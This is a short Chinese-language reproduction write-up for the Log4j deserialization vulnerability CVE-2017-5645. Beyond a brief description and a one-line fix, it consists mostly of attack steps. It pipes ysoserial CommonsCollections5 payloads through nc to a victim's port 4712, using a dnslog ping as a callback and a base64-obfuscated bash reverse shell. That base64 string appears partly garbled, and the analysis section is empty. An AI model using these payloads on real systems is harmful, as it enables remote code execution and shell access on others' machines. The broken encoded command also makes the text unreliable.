CVE-2017-5645(Log4j命令执行)
1. 漏洞描述
攻击者可以通过发送一个特别制作的二进制payload,在组件将字节反序列化为对象时,触发并执行构造的payload代码。该漏洞主要是由于在处理ObjectInputStream
时,接收函数对于不可靠来源的input没有过滤。可以通过给TcpSocketServer
和UdpSocketServer
添加可配置的过滤功能以及一些相关设置,可以有效的解决该漏洞。
2. 影响版本
Apache Log4j 2.8.2之前的2.x版本
3. 漏洞复现
3.1 查看服务情况
在4712
端口开启一个TCPServer。
3.2 使用ysoserial生成payload
1 | #java -jar ysoserial-all.jar CommonsCollections5 "ping 00guir.dnslog.cn" | nc 受害机IP 4712 |
3.3 查看写入结果
1 | docker exec -it 容器ID /bin/bash |
3.4 生成反弹shell
1 | java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAxLjQyLjE3NjY4899i7HNiAwPiYx}|{base64,-d}|{bash,-i}" | nc 受害IP 4712 |
3.5 结果
4. 漏洞分析
…
5. 修复建议
更新到最新版本